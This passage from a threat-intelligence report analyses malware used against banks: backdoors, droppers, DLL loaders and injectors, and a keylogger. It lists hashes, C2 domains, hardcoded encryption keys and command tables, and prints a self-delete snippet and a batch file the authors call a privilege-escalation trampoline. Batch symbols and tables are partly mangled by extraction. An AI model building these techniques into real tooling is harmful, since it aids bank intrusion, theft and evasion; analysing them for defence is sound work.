This is what such a packet looks like (blue rows are encrypted with RC4 and handshake key): Offset (bytes) Size (bytes) Description 0 4 Size of the rest of data in the message 4 16 Random data 20 4 Special code 0x00000065 (e) 24 64 Random data It expects similar behaviour from the server.
The server responds with similar packet, where the first DWORD is the size of the rest of the packet and the only meaningful value is at offset 0x14, which must contain 0x00000066 (f) or the handshake is not successful.
If the handshake is successful, the tool spawns a dedicated thread to deal with the C2 connection.
It uses RC4 encryption to communicate with the C2 over TCP with a hardcoded 4-bytes key value: E2 A4 85 92.
The analyzed sample uses binary protocol for communication, exchanging messages in fixed length blocks of 40 bytes, which are encrypted with RC4 as mentioned above.
Each such block contains a DWORD at offset 0x4 describing a control code used in the protocol.
Other fields in the block may contain additional information or be set to a randomly generated number for distraction.
Client Server Control Code Meaning Control Code Meaning 0x10001 Ready to work 0x10000 Keep-Alive 0x10008 Task Done 0x10002 Start tunnelling with HostB 0x10003 Set new HostB/PortB 0x10004 Get current HostB/PortB 0x10006 Terminate immediately For the Control Code 0x10003, additional information including IP and port numbers are transferred in the same message block at offsets 0x10 for IP and 0x14 for port.
The tool will not start connecting to HostB until it receives a 0x10002 command to start the tunnelling process.
When this happens it will open an additional, independent TCP session with HostA, will do a handshake, and then pass all data back and forth without modification.
Other variants of the tool were found in different places: 02f75c2b47b1733f1889d6bbc026157c - uploaded to a multiscanner from Bangladesh.
459593079763f4ae74986070f47452cf - discovered in Costa Rica.
ce6e55abfe1e7767531eaf1036a5db3d - discovered in Ethiopia.
All these tools use the same hardcoded RC4 key value of E2 A4 85 92.
Malware 6: Active Backdoors MD5: 2ef2703cfc9f6858ad9527588198b1b6 Type: PE32 executable (GUI) Intel 80386, for MS Windows Size: 487424 bytes Name: mso.exe Link time: 2016.06.14 11:56:42 (GMT) Linker version: 6.0 Used in: Incident 1, Incident 2 This module is linked with opensource SSL/TLS suite mbedTLS (aka PolarSSL) as well as zLib 1.2.7 and libCURL libraries.
Command line options: IMEKLMG.exe [filepath] [-i] [C2_IP C2_PORT ...] [-s] -i  self-install in the registry and restart self with previous path as argument.
[
filepath] sleep for 3 seconds, delete the specified path, restart self with option -s.
C2_IP C2_PORT ... one or more pairs of C2 IP and port can be passed here.
-s  start the main backdoor mode Starting the executable with no option is equivalent to starting with -i, which initiates a sequence of restarts eventually leading to self-installation into the autorun key and users App_Data directory.
The final command line string to start the backdoor (as per registry autorun key) is: C:\Users\user\AppData\Roaming\IMEKLMG.exe -s Depending on the available command line arguments the module may use a C2 address from the following locations: 1.
C2 configuration stored in the registry (expected 1840 bytes).
The configuration is located at HKLM\SYSTEM\CurrentControlSet\Control\Network\EthernetDriver.
The data inside the key is encrypted with a DES algorithm with a hardcoded encryption key: 58 29 AB 7C 86 C2 A5 F9.
2.
Hardcoded C2 address and port.
3.
[
Unfinished backdoor code] Use a C2 address and port passed via command line.
Note, this code is currently unfinished: it contains a command line argument parsing and setting in the memory of the backdoor: up to six pairs of C2 hosts and ports can be passed to it, but this information seems not to be reaching the main backdoor code yet.
If the registry value with config is not set upon the backdoor start, it creates this value, populating the config with hardcoded values.
When the module is passed to a domain and port pair via the command line, config from the registry or hardcoded value, it resolves the IP address of the domain (if the domain is passed) and produces a different IP by decrypting the DNS request with a 4-byte XOR operation.
The XOR constant is hardcoded: 0xF4F29E1B.
Hardcoded C2s: update.toythieves[.
]com:8080 update.toythieves[.
]com:443 IP xor Key (Real C2) Country First Seen Last Seen Resolved IP (C2 disguise) 67.65.229[.
]53 US 2015-08-05 2015-08-19 88.223.23.193 62.201.235[.
]227 Iraq 2015-08-26 2015-10-23 37.87.25.23 127.0.0.1 N/A 2015-10-30 2015-11-20 100.158.242.245 46.100.250[.
]10 Iran 2015-11-27 2016-01-07 53.250.8.254 76.9.60[.
]204 Canada 2016-01-14 2016-08-17 87.151.206.56 The application establishes a HTTPS connection, introducing itself as TestCom 18467 (hostname) during a TLS handshake.
The backdoor protocol supports the following commands sent as DWORD constants: Command ID Description 0x91B93485 Get system information: hostname, OS version, locale, list of network interface cards with properties.
0x91B9348E Sleep command.
Disconnect from C2.
Save current time and show no network activity for a specified time.
0x91B93491 Hibernate command.
Disconnect from C2 and show no network activity.
Seems like this sleep is persistent over program restarts.
0x91B9349A Show all available drives and used/available space on them.
0x91B9349B List files in specified directory.
0x91B9349D Change current directory.
0x91B93486 Run specified command.
0x91B934A6 Run specified command as another Terminal Session user.
0x91B93492 Delete file(s) based on file path pattern.
0x91B934A1 Wipe specified file two times with random DWORD value.
0x91B9348B Compress and upload specified file path recursively.
0x91B9348A Read data from the specified file.
0x91B93489 Write data to the specified file.
0x91B93495 Get detailed process information: PID, Session ID, CPU performance status, memory used, full path.
0x91B93491 Kill process by name or PID.
0x91B9348C Execute a command and read the output.
This is done via the redirection of command output to a text file in temp directory, reading and sending the contents of the file after the process is complete.
0x91B934A5 Connect 1024 times to localhost:135 for disguise, cleanup and shutdown.
0x91B934A4 Get current backdoor configuration.
0x91B934A3 Set new backdoor configuration.
0x91B934A2 Test remote host and port by opening TCP connection.
0x91B934A7 Inject an executable module into address space of explorer.exe.
0x91B93499 Get current working directory.
0x91B9349C Delete specified file.
The same file, but compressed with an unknown packer, was discovered uploaded on VT from Poland and Korea in November 2016.
This suggests backdoor reuse in those countries.
It has the following properties: Name: IMEKLMG.exe.dmp MD5: 06cd99f0f9f152655469156059a8ea25 SHA1: 77c7a17ccd4775b2173a24cd358ad3f2676c3452 File size: 376832 bytes File type: PE32 executable (GUI) Intel 80386, for MS Windows Link time: 2016.06.14 11:56:42 (GMT) Linker version: 6.0 Another similar file was discovered in February 2017, distributed from a Nigerian webserver.
It is a similar backdoor but is packed with Obsidium packer.
Here is the files general information: MD5: 09a77c0cb8137df82efc0de5c7fee46e SHA1: 964ba2c98b42e76f087789ab5f64e75dd370841a File size: 176640 bytes File type: PE32 executable (GUI) Intel 80386, for MS Windows Link time: 2017.02.02 04:20:19 (GMT) Linker version: 10.0 This file is similar to the other backdoors from the arsenal.
However, it contains some differences and improvements.
It uses an external file to store configuration, located at SYSTEMROOT\systray.dat.
The config has a fixed size of 182 bytes and has the following structure: XORed with 0xDE Random 4 bytes Magic Value: 0x12458FAE Other data Similar to other backdoors, it uses XOR operation on the DNS response.
The XOR DWORD constant is different here: 0xCBF9A345.
The sample contains the following default hardcoded C2 address: tradeboard.mefound[.
]com:443 To complicate analysis, the developer has implemented a protocol with dynamically changing constants depending on the variant of the malware.
So far, the backdoor speaks the same language but with a different dialect.
This is implemented through a different base for all messages.
This sample supports similar commands but its Command IDs are shuffled and start with a different number.
Command ID Description 0x23FAE29C Get system information: hostname, OS version, locale, list of network interface cards with properties.
0x23FAE2A4 Sleep command.
Disconnect from C2.
Save current time and show no network activity for specified time.
0x23FAE2A6 Hibernate command.
Disconnect from C2 and show no network activity.
This is persistent over program restarts, because it the module saves time when to come back online in the config file.
0x23FAE29E List all available drives.
0x23FAE2A9 Recursively list contents of the specified directory.
0x23FAE2A7 List contents of the specified directory.
0x23FAE29F Change current directory.
0x23FAE2AA Run specified command.
0x23FAE2A8 Delete file(s) based on file path.
0x23FAE2AD Wipe specified file two times with random DWORD value.
0x23FAE2B1 Compress and upload specifed file path recursively.
0x23FAE2A0 Read data from the specified file.
0x23FAE2A1 Write data to the specified file.
0x23FAE2A2 Get detailed process information: PID, Session ID, CPU performance status, memory used, full path.
0x23FAE2AC Kill process by name or PID.
0x23FAE2AB Execute a command and read the output.
This is done via redirection of command output to a text file in temp directory, reading and sending the contents of the file after the process is complete.
0x23FAE29D Clone file timestamps from the given path.
0x23FAE2AF Set new C2 port, save configuration file.
0x23FAE2B0 Set new C2 address, save configuration file.
0x23FAE2A3 Command to self-destruct.
It drops ieinst.bat into TEMP directory and runs it to self-delete.
:
L1 del S nping 0 if exist S goto L1 del 0 In addition it wipes the config file with zeroes and deletes the file as well.
0x23FAE2A5 Terminate session and quit immediately.
This matches the description of backdoors from the Romeo set as per Novetta.
Malware 7: Passive Backdoors MD5: b9be8d53542f5b4abad4687a891b1c03 Type: PE32 executable (GUI) Intel 80386, for MS Windows Size: 102400 bytes Names: hkcmd.exe Internal name: compact.exe https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf Link time: 2016.01.08 16:41:18 (GMT) Linker version: 6.0 Product name (file version info): Windows Firewall Remote Management Used in: Incident 1 This executable was written using the Microsoft MFC framework.
The application is designed to run as a service, however it can also start and work as a standalone non-service process.
It registers with the name of helpsvcs.
The code is organized in classes, one of which, the main application class, has a static text variable set to PVS, which seems to be unused in the code.
This service relies on command line arguments passed as an integer defining the port number that it will listen to in the future.
This is a reduced minimalistic way of configuring and using the backdoor in listening mode, however there is a class that is responsible for loading or saving full configuration block from/to the registry.
The registry value used to store the configuration depends on the parameter value (parameter) passed to the function.
The registry configuration is located at HKCR\NRparameter\Content Setting.
The main service procedure generates a unique instance ID which is set to pseudo-randomly selected 8 bytes.
Some previous versions of the code relied on some pseudo-random values derived from the current time and MAC addresses of available network cards, but then was changed to a hardware independent value.
This backdoor takes care of enabling ports in the Windows Firewall by creating a new firewall rule named Windows Firewall Remote Management using netsh.exe tool on Windows, which enables an incoming connection to any executable on the TCP port that is currently used by the backdoor.
In case this rule has different name in other samples, its quite easy to find it, because it doesnt specify which group of rules it belongs to, unlike all other default Windows Firewall rules.
Sorting Firewall rules by group name may quickly reveal such an odd rule: The backdoor provides process and file management, as well as the creation of TCP connection relays.
Another backdoor based on the same code was found in the same bank, however it was made as a standalone executable instead of a DLL.
Short description and file properties are provided below: MD5: bbd703f0d6b1cad4ff8f3d2ee3cc073c Link time: 2014.09.22 13:12:17 (GMT) Linker version: 6.0 Size: 106496 bytes Export section timestamp: Fri Jan  8 16:41:26 UTC 2016 Original name: fmapi.dll Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Used in: Incident 1 This file is a backdoor that listens to a port specified in the WINDIR\temp\scave.dat file as an integer number.
It supports about 20 commands, which enable the operator to: Collect general system information Search files/directories by name Start new process as current user Start process as another logged in user Start process and collect output from stdout Get file from specified path Drop new executables into system directory Compress and download files List processes and their respective loaded modules Kill processes by name Fake file timestamp by copying it from kernel32.dll Start a new backdoor session on another port List active terminals sessions with details Relay TCP connections to a remote host The executable contains a custom PE loader code that is identical to a custom PE loader from Lazarus Loader modules dubbed by Novetta as LimaAlfa.
This module contains a small embedded executable in the data section, encrypted with a trivial (xor 0xb1, add 0x4f) method.
The MZ header is wiped from that embedded file and is restored during decryption routine.
Some other properties of the small embedded file are listed below (MD5: 8387ceba0c020a650e1add75d24967f2).
This executable module is used to force unloading a DLL from memory.
Malware 8: Trojan Dropper Discovered path: C:\WINDOWS\igfxpers.exe MD5: 6eec1de7708020a25ee38a0822a59e88 Size: 253952 bytes Time modified: 2016-01-18 06:08:36 (GMT) https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf Time accessed: 2016-08-22 12:38:37 (GMT) Time changed: 2016-08-22 13:04:42 (GMT) Time created: 2016-01-18 06:08:32 (GMT) Link time: 2014-09-22 13:12:17 (GMT) Linker version: 6.0 Other filenames: hkcmd.exe Used in: Incident 1 This is a dropper of an embedded malware.
It uses RC4 to decrypt resources and drop and start a new process from disk.
The RC4 is an MD5 of a command line argument (secret passphrase) following -x parameter.
The second command line argument -e defines the name for the new service to be registered.
The MD5 hash of the passphrase is stored in the registry and is used by the DLL Loader in the later stage.
The binary picks one of the names to drop the payload to, and chooses a corresponding service description when registering.
FileName Description wanmgr WiFi Connection Management Service vrddrv Windows Virtual Disk Service trufont Font Cache Service wmvdec Media Center Network Sharing biomgs Biometric Service gpcpolicy Group Policy Server Service diagmgs Diagnostic Policy Client waindex Windows Indexing Service trabcon Network Traffic Balancing Service authen Remote Logon Authentication The dropped file is saved into SYSTEMROOT\System32\FileName.dll on Windows 32- bit and SYSTEMROOT\SysWow64\FileName.dll on Windows 64-bit.
Known command line usage: hkcmd.exe -x passphrase -e LogonHours We managed to find the right password (20 characters long), which enabled us to decrypt the payload.
Malware 9: DLL Loader MD5: 268dca9ad0dcb4d95f95a80ec621924f Link time: 2014.12.08 13:12:17 (GMT) Linker version: 6.0 Size: 192512 bytes Export section timestamp: Fri Jan  8 16:54:25 UTC 2016 Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Original name: ext-ms-win-ntuser-dialogbox-l1-1-0.dll Used in: Incident 1 This file is dropped by the Trojan Dropper described above.
It is a malware loader service, which gets the decryption key from the registry, uses RC4 to decrypt an embedded resource and start the payload.
The RC4 decryption key is obtained from HKCR\NRparameter\ContextHandler value, which is set by the Trojan Dropper during malware installation.
The embedded resource contains one of the Passive Backdoors described in this paper.
Another variant of the DLL loader heavily uses system registry to fetch the decryption key, and the encrypted payload.
Name: lcsvsvc.dll MD5: c635e0aa816ba5fe6500ca9ecf34bd06 SHA1: d7d724718065b2f386623dfaa8d1c4d22df7b72c SHA256: 93e7e7c93cf8060eeafdbe47f67966247be761e0dfd11a23a3a055cf6b634120 File size: 1545216 bytes File type: PE32 executable (DLL) (GUI) x86-64, for MS Windows Link time: 2015.12.09 14:12:41 (GMT) Exp.
time: 2016.03.19 18:32:34 (GMT) Linker version: 10.0 Export module Name: msshooks.dll Used in: Incident 2 This module is similar to other 64-bit variants.
However, it is registered as a service and gets an RC4 key and the payload from the registry values of its own service.
The name of the service is not fixed and is probably set during installation stage.
Here is the registry value path for the RC4 key and encrypted payload respectively: HKLM\SYSTEM\CurrentControlSet\Services\SERVICENAME\Security\Data2 HKLM\SYSTEM\CurrentControlSet\Services\SERVICENAME\Security\Data0 The code gets the 16-bytes RC4 key from the registry (f9 65 8b c9 ec 12 f9 ae 50 e6 26 d7 70 77 ac 1e) and encrypted payload, decrypts the payload with that key and then decrypts it one more time with the following hardcoded key (previously seen in the backdoor management tool): 53 87 F2 11 30 3D B5 52 AD C8 28 09 E0 52 60 D0 6C C5 68 E2 70 77 3C 8F 12 C0 7B 13 D7 B3 9F 15 The final decrypted payload is loaded and started as a DLL in memory.
At the time of analysis the attackers managed to wipe the payload in the registry with a benign system file data, so only the RC4 key remained untouched and was found in the registry.
Malware 10: Keylogger MD5: 5ebfe9a9ab9c2c4b200508ae5d91f067 Known filenames: NCVlan.dat File size: 73216 bytes Type: PE32 executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.04.06 07:38:57 (GMT) Linker version: 10.0 Original name: grep.dll Used in: Incident 1 This module is a user-mode keylogger.
It contains an export function with an empty name, which has the main functionality of the module.
Upon starting it creates a new thread, which suggests that it has to be loaded by a custom PE loader (probably by the DLL Injector described in this paper, MD5: 949e1e35e09b25fca3927d3878d72bf4).
The main thread registers a new class named Shell TrayClsRANDOM, where RANDOM value is an integer returned by the system rand function seeded with the current system time.
Next, it creates a window called Shell TrayRANDOM.
The new window registers a system-wide keyboard hook and starts recording keypresses and Unicode text in context of the clipboard.
The data is saved into a current user profile directory in a file that is named after the username via the following template string: NTUSERUSERNAME.TxS.blf.
For example, the full path that we discovered was C:\Users\[redacted]\NTUSER.DAT[redacted operator].TxS.blf.
The data written in the file is encrypted with RC4 with the following hardcoded 64-bytes key: 53 55 4D A2 30 55 53 44  30 2C 30 3E 27 44 42 54 20 4C 49 4D 49 54 43 55  53 44 30 2C 0D 0A 43 44 54 19 53 55 4D 7F 31 55  53 44 32 36 35 2C 30 E4 37 43 44 54 98 4C 49 4D  49 54 1B 55 53 44 30 2C The RC4 key is not entirely random and seems to contain chunks of readable ASCII text related to some database contents or queries: SUM.0USD0,0DBT LIMITCUSD0,..CDT.SUM.1USD265,0.7CDT.LIMIT.USD0, We assume this is done to complicate the recognition of a password-like string by eye, or use a value that would cause some false-positives when scanning for such a pattern.
The keylogger data file is a binary log that contains sequences of records organized in blocks which have the following events inside: 1.
Session Start (Logon): Contains username, type of session (rdp, console, etc),  session id.
2.
Session Activity: Contains active windows name and sequence of typed keys.
3.
Session End (Logoff): Contains username, session id.
Every event record contains a DWORD timestamp.
The module also starts a watchdog thread that keeps monitoring the creation of a trigger-file called ODBCREP.HLP in the directory of the current DLL.
If such file is found, the keylogger removes the keyboard hook and unloads from the process immediately.
Malware 11: Trojan Dropper 2 Filename: gpsvc.exe MD5: 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae SHA1: bedceafa2109139c793cb158cec9fa48f980ff2b File Size: 3449344 bytes File Type: PE32 executable (console) x86-64, for MS Windows Link Time: 2016.12.08 00:53:20 (GMT) Linker version: 10.0 Used in: Polish bank This module is a command line malware dropper/installer, which contains two data containers in the resource section.
The dropper command line takes the following: gpsvc.exe -e name - drop payload on disk gpsvc.exe -l - lists all registered services under netsvcs registry key3.
gpsvc.exe -a param2 param3 - registers a news service using param2 as the service name and param3 as the path to DLL file of service binary.
If the param3 doesnt contain \ character, the code uses it as the filename in SYSTEMROOT\System32\.
3HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs When -e option is used, the files stored in the containers are extracted, decrypted where encryption is used, and dropped to a disk in two locations: one goes to the current directory as name, another is saved into SYSTEMROOT\Help\name.chm.
The value of the name parameter is passed via command line argument.
The container starts with a 40 bytes header describing the start of the payload, container and the payload data inside.
The data may or may not be encrypted and there is no specific flag identifying that in container itself.
The code processing the container will know whether the containers payload requires decryption.
Upon successful extraction of the files, the dropper will show the following message on the command line: Fig.
Report of successful payload deployment.
The first extracted file is decrypted using the following key and Spritz algorithm, a variant of the RC4 family: 95 B4 08 68 E4 8B 72 94 5E 61 60 BF 3F D7 F9 41 10 9A 4A C4 66 41 99 48 CC 79 F5 6A FE 5F 12 E5 The second file is extracted as-is, however, brief analysis of its header suggested that it is encrypted with the same crypto and key.
The dropped files after decryption have the following MD5 hashes: ad5485fac7fed74d112799600edb2fbf 16a278d0ec24458c8e47672529835117 Malware 12: DLL Injector MD5: 16a278d0ec24458c8e47672529835117 SHA1: aa115e6587a535146b7493d6c02896a7d322879e File size: 1515008 bytes File type: PE32 executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.12.08 00:53:43 (GMT) Linker version: 10.0 Export module name: wide_loader.dll Used in: Incident 2 This module is packed with a commercial product known as the Enigma Protector, which was developed by a Russian software developer Vladimir Sukhov in 2004.
This module is implemented as a service binary with ServiceMain procedure.
On starting it imports all http://enigmaprotector.com/ necessary system API functions, and searches for the .CHM file inside SYSTEMROOT\Help\name.chm, where name matches the name of current DLL module.
Then it decrypts the payload using the Spritz algorithm with the hardcoded key: 95 B4 08 68 E4 8B 72 94 5E 61 60 BF 3F D7 F9 41 10 9A 4A C4 66 41 99 48 CC 79 F5 6A FE 5F 12 E5 Next, it searches the target process and attempts to inject the decrypted payload module from the CHM file into the address space of the target process.
The target process can be one of two: 1.
lsass.exe 2.
itself (current service process) The process to inject the code is hardcoded and defined during the compilation of the module.
According to the code the current module injects payload into itself.
Some more similar DLL Injector samples were found in Europe and in the Middle East.
The following files were discovered: Filename: srservice.dll MD5: e29fe3c181ac9ddbb242688b151f3310 SHA1: 7260340b7d7b08b7a9c7e27d9226e17b7170a436 File size: 79360 bytes File type: PE32 executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.10.22 07:08:16 (GMT) Exp.
time: 2016.10.22 07:08:16 (GMT) Linker version: 10.0 Export module name: wide_loader.dll Used in: Incident 2 Filename: msv2_0.dll MD5: 474f08fb4a0b8c9e1b88349098de10b1 SHA1: 487f64dc8e98e443886b994b121f4a0c3b1aa43f File size: 78848 bytes File type: PE32 executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.12.08 00:53:39 (GMT) Exp.
time: 2016.12.08 00:53:39 (GMT) Linker version: 10.0 Export module name: wide_loader.dll Used in: Incident 2 Filename: SRService.dll MD5: 07e13b985c79ef10802e75aadfac6408 SHA1: a0c02ce526d5c348519905710935e22583d81be7 File size: 79360 bytes File type: PE32 executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.10.22 07:08:16 (GMT) Exp.
time: 2016.10.22 07:08:16(GMT) Linker version: 10.0 Used in: the Middle East These files are different from those previously seen in DLL Injector, because they are not packed with Enigma Protector.
They also contain different 32-byte Spritz keys: 65 06 18 33 60 10 48 F7 57 9B 98 76 CA B5 29 60 71 CB 0B 97 7E D4 A2 F9 22 CC 4E 79 52 64 4A 75 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE DC F6 FA 4C 9E 3A 8F 98 78 CB C3 77 35 5C F2 82  8A 3A 08 71 6A D5 C3 D9 A1 1B 6A BA C5 9C 5D BC  6A EC F0 B8 96 49 79 7A The purpose of these variants is the same - decrypt the corresponding CHM file with the payload and inject it in the memory of lsass.exe or current process.
The payloads found in these cases were: fde55de117cc611826db0983bc054624 (Active Advanced Backdoor Type B) 17bc6f5b672b7e128cd5df51cdf10d37 (Active Advanced Backdoor Type B) Malware 13: Active Backdoors 2 Filename: name.chm MD5: ad5485fac7fed74d112799600edb2fbf SHA1: a107f1046f5224fdb3a5826fa6f940a981fe65a1 File size: 1861632 bytes File type: PE32 executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.12.08 00:55:06 (GMT) Export time: 2016.12.08 00:55:04 (GMT) Linker version: 10.0 Export module name: aclui.dll This module is dropped to the disk in .CHM file and stored in encrypted form.
It can be decrypted and started with the DLL Injector module (i.e.
16a278d0ec24458c8e47672529835117).
Like the other file in the same package, it is wrapped with Enigma Protector.
The module has no business logic starting from the entry point.
Core logics are called from one of two exported functions: ?
DllRegisterYAX_KK0K0PEAXKZ (start backdoor with default parameters) InitDll (start backdoor with configuration passed via parameter) The InitDll function sets up basic requirements and prepares paths to other essential components, which are expected in the following filepaths: SYSTEMROOT\Help\.chm SYSTEMROOT\Help\.hlp The .hlp file from the Help Directory is loaded and decrypted using Spritz algorithm4 and the following key: 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE DC F6 FA 4C 9E 3A 8F 98 The module contains an embedded default config which is saved to .hlp file in encrypted form if the file is missing.
It contains the following C2 information: exbonus.mrbasic[.
]com:443 Similar to Active Advanced Backdoor Type A (see md5: 2ef2703cfc9f6858ad9527588198b1b6) it doesnt use resolved IP of the C2 directly, but XORs the DNS query result with hardcoded key 0x4F833D5B.
The backdoor protocol supports the following commands sent as a DWORD, however this DWORD is convertible to a meaningful ASCII representation of the command as shown below: Command ID Description NONE No actions.
GINF Get system information: hostname, OS version, CPU type, system locale, RAM, disk free space, BIOS version and manufacturer, list of network interface cards with properties.
SLEP Disconnect from C2.
Save current time and show no network activity for specified time.
It seems like this sleep is persistent over program restarts.
HIBN Disconnect from C2 and show no network activity.
DRIV Show all available drives and used/available space on them.
DIR List files in specified directory.
DIRP List files and directories recursively starting from specified path.
CHDR Change current directory.
4 A very similar implementation of the Sprtiz algorithm in C is available at https://github.com/jedisct1/spritz/blob/master/spritz.c RUN Run specified command.
RUNX Run specified command as another Terminal Session user.
DEL Delete file(s) based on file path pattern.
WIPE Wipe file(s) based on file path pattern.
A hardcoded pattern (not defined in current sample) or randomly generated bytestream is used.
Wiping with random data is done three times.
A DWORD constant is present from some older wipers code pattern: 0xE77E00FF.
MOVE Move file.
FTIM Set time for file(s) specified by file path pattern.
Use systemroot\kernel32.dll as source of timestamps.
If kernel32.dll is not found, a hardcoded value is used: 12:12:46.493 03 September 2008 NEWF Create a directory.
ZDWN Compress and download specified file path recursively.
DOWN Compress and download a single file.
UPLD Upload and uncompress file to the specified directory.
The directory is created if it doesnt exist.
PVEW Get detailed process information: PID, Session ID, CPU performance status, memory used, full path.
PKIL Kill process by name or PID.
CMDL Execute a command and read the output.
This is done via redirection of command output to a text file in temp directory, reading and sending the contents of the file after the process is complete.
DIE Set a flag to terminate immediately.
Cleanup and shutdown.
GCFG Get current backdoor configuration.
SCFG Set new backdoor configuration.
TCON Test connection with remote hosts.
Open TCP connection to the specified host and port.
Send 2 random bytes to test connection.
PEEX Inject an executable module into address space of explorer.exe.
PEIN Inject an executable module into address space of process defined by PID.
An identical file was found in Incident 2: Filename: msv2_0.chm.dec MD5: 17bc6f5b672b7e128cd5df51cdf10d37 SHA1: 072245dc2339f8cd8d9d56b479ba5b8a0d581ced File size: 729088 bytes File type: PE32 executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.12.08 00:55:06 (GMT) Exp.
time: 2016.12.08 00:55:04 (GMT) Linker version: 10.0 Export module name: aclui.dll Another similar file was used during the attack in Incident 2: MD5: fde55de117cc611826db0983bc054624 SHA1: 1eff40761643f310a5cd7449230d5cfe9bc2e15f File size: 729088 bytes File type: PE32 executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.10.22 07:09:50 (GMT) Exp.
time: 2016.10.22 07:09:48 (GMT) Linker version: 10.0 Export module name: aclui.dll The .hlp file from the Help Directory is loaded and decrypted using the Spritz algorithm and the familiar key: 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE DC F6 FA 4C 9E 3A 8F 98 The .hlp file contains references to two C2 servers, which refer to: tradeboard.mefound[.
]com:443 movis-es.ignorelist[.
]com:443 The following table shows connections between known C2s Domain IP xor Key (Real C2) CC First Seen Last Seen Resolved IP (C2 disguise) exbonus.mrbasic[.
]com 218.224.125[.
]66 JP 2017-01-29 2017-02-06 129.221.254.13 exbonus.mrbasic[.
]com 82.144.131[.
]5 CZ 2017-02-06 2017-02-06 9.173.0.74 tradeboard.mefound[.
]com 218.224.125[.
]66 JP 2017-01-29 2017-01-31 129.221.254.13 tradeboard.mefound[.
]com 82.144.131[.
]5 CZ 2017-02-01 2017-02-06 9.173.0.74 movis-es.ignorelist[.
]com 82.144.131[.
]5 CZ 2017-02-01 2017-02-06 9.173.0.74 Similar two 32-bit based samples were used in an attack on a target in Costa Rica in 2016: 2de01aac95f8703163da7633993fb447 5fbfeec97e967325af49fa4f65bb2265 These samples contain the same backdoor commands and rely on the same cryptoalgorithm and identical hardcoded crypto key.
However, these files do not contain embedded config with default C2 domain.
Malware 14: Privileged Execution Batch Name: msdtc.bat MD5:  3b1dfeb298d0fb27c31944907d900c1d SHA1: b9353e2e22cb69a9cd967181107113a12197c645 Size: 454 bytes Type: Windows batch file Used in: Polish bank The following Windows batch file was found during a security sweep in one of the attacked banks: echo off SET cmd_pathC:\Windows\Temp\TMP298.tmp copy NUL cmd_path :loop ping -n 1 1.1.1.1  nul for /f tokens a in (cmd_path) do ( if a equ die ( rem del /a cmd_path rem del /a cmd_path.ret echo die  cmd_path.ret goto end ) else ( echo a  cmd_path.ret a  cmd_path.ret 21 echo --------------------------------------------------------  cmd_path.ret ) ) copy NUL cmd_path goto loop The purpose of this file is to execute one or more commands on the command line and redirect the output to a file on disk.
The list of commands to run is located in the following file path (lets call it source file): C:\Windows\Temp\TMP298.tmp.
Once the commands are executed, it sleeps for one second and starts the process again until the source file contains a line with just one word in it: die.
This batch file opens and runs every command mentioned in the .tmp file and saves the output to C:\Windows\Temp\TMP298.tmp.ret.
Once it finds the word die in the source, it deletes the source and the output file and quits.
However, this batch file is either broken or implemented with a bug.
Note the line goto end and no label called :end in the batch file.
We can only speculate how this file was used in the real attack, but one theory looks to be the most probable: it was used as an awkward way to execute commands with SYSTEM user privileges.
While it is possible to run commands as a SYSTEM user when you have administrative privileges on a target machine, getting an interactive shell requires more work.
A batch file like this could run in the background, quietly spawning cmd.exe in a loop and non- resource exhausting mode.
Passing commands to the source file would allow attackers to conveniently execute them the next second and get the output via another text file.
This infinite loop could be easily broken with the die keyword.
So far, we believe that this file could serve as a privilege escalation trampoline for other unprivileged processes (such as usermode backdoor).
Malware 14.
Backdoor Management Tool Filename: gpsvc.exe MD5: 85d316590edfb4212049c4490db08c4b SHA1: 4f0d7a33d23d53c0eb8b34d102cdd660fc5323a2 File Size: 753664 bytes File Type: PE32 executable (console) Intel 80386, for MS Windows Link Time: 2015.08.24 10:21:52 (GMT) Linker version: 8.0 This module is a commandline tool that helps to install a new service.
In addition it is capable of doing code injection and works as a service itself.
The binary is protected with Enigma Protector.
If the module is started without commandline arguments, it quits immediately.
Depending on commandline options passed the tool may work in different modes.
1.
Service Enumeration Mode Commandline: gpsvc.exe -l This mode is selected with commandline option -v.
In this case the module get a list of services from hardcoded registry value HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\svchost\netsvcs.
This value is a present on clean Windows installation and usually contains a list of standard service names that may generate some network activity.
The code iterates through available services and prints to standard output every service it managed to open with read privileges (used just to confirm that the service is running).
After this the tool exits.
2.
Service Activation Mode Commandline: gpsvc.exe -s param1 param2 In this mode the module registers and starts a new service if it doesnt exist.
The service name is based on the current executable filename.
The following commandline is stored in the registry to start the service: self_path -k param1 param2 Where self_path is full path to current executable and param1, param2 are passed as-is from current commandline.
3.
File Payload Deployment Commandline: gpsvc.exe -e param1 param2 In this mode the module extracts and stores additional executable on the filesystem (filepath is inside installation cryptocontainer).
It uses param2 to open the file as a cryptocontainer.
Cryptocontainer is encrypted with two RC4 keys: A. KeyA which is 16 bytes of MD5 value from a string which is passed via param1 B. KeyB is a hardcoded 32-byte binary value: 53 87 F2 11 30 3D B5 52 AD C8 28 09 E0 52 60 D0 6C C5 68 E2 70 77 3C 8F 12 C0 7B 13 D7 B3 9F 15 It contains payload data to be installed into registry and some paths.
4.
Registry Payload Deployment Commandline: gpsvc.exe -f param1 param2 This mode is very similar to File Payload Deployment described above, but in this case the module is instructed to install the payload into the registry value.
5.
Service Test Commandline: gpsvc.exe -o param1 This mode is used to ensure that the service is running correctly by checking that a special event object named param1 exists.
6.
Service Termination Commandline: gpsvc.exe -t param1 This mode is used signal the running service via special event object named param1 to terminate execution.
7.
